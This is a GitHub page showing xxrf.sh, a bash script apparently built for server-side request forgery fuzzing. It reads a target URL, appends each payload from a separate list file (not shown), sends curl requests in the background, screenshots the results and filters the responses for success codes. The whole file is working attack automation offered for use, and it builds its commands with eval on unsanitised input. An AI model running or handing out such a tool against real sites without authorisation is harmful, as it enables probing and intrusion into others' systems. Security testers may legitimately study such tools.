-
Notifications
You must be signed in to change notification settings - Fork 29
/
Copy pathxxrf.sh
63 lines (61 loc) · 1.47 KB
/
xxrf.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/bin/bash
#!Coded by Suleman Malik
#!www.sulemanmalik.com
dt(){
rm /tmp/rs_temp
rm injected-payload.txt
rm -r screenshots
}
function ln(){
echo -e "\033[0;31m=============================\033[0m"
}
function out(){
echo -e "\033[0;31m==========================================================================\033[0m"
}
dt > /dev/null 2>&1
clear
echo '''
|\ /||\ /|( ____ )( ____ \
( \ / )( \ / )| ( )|| ( \/
\ (_) / \ (_) / | (____)|| (__
) _ ( ) _ ( | __)| __)
/ ( ) \ / ( ) \ | (\ ( | (
( / \ )( / \ )| ) \ \__| )
|/ \||/ \||/ \__/|/
'''
echo -e '\033[0;32mby Suleman Malik\033[0m v1.2'
ln
eval $init
echo ''
echo "Url: "
read url
echo " "
echo -e ""
len=$(wc -l < xsrfpd | sed 's/ //g')
elap=0
while read ssrf
do
echo $url$ssrf >> injected-payload.txt
Cmd='curl --silent -I $url$ssrf --max-time 5 >> /tmp/rs_temp &'
elap=$(expr $elap + 1)
echo -ne "\033[0;31m[[+]\033[0m \033[0;33m Injecting Payload:\033[0m: $elap/$len\r"
eval $Cmd
done < xsrfpd
echo ' '
echo ' '
echo -e "\033[0;32m [+]\033[0m Loading..."
echo ' '
echo -e "\033[0;32m [+]\033[0m Taking screenshots"
scr=$(python WS -i injected-payload.txt -t5 )
echo ''
echo -e "\033[0;32m [+]\033[0m Screenshots saved successfully."
out
echo -e "\033[0;32mLoading Response\033[0m"
echo " "
sleep 1
disp6='cat /tmp/rs_temp | egrep -w --color -E "HTTP/1.1|200|302|301"'
eval $disp6
echo "Process Done! Hit return key to exit..."
read ext
dt > /dev/null 2>&1
out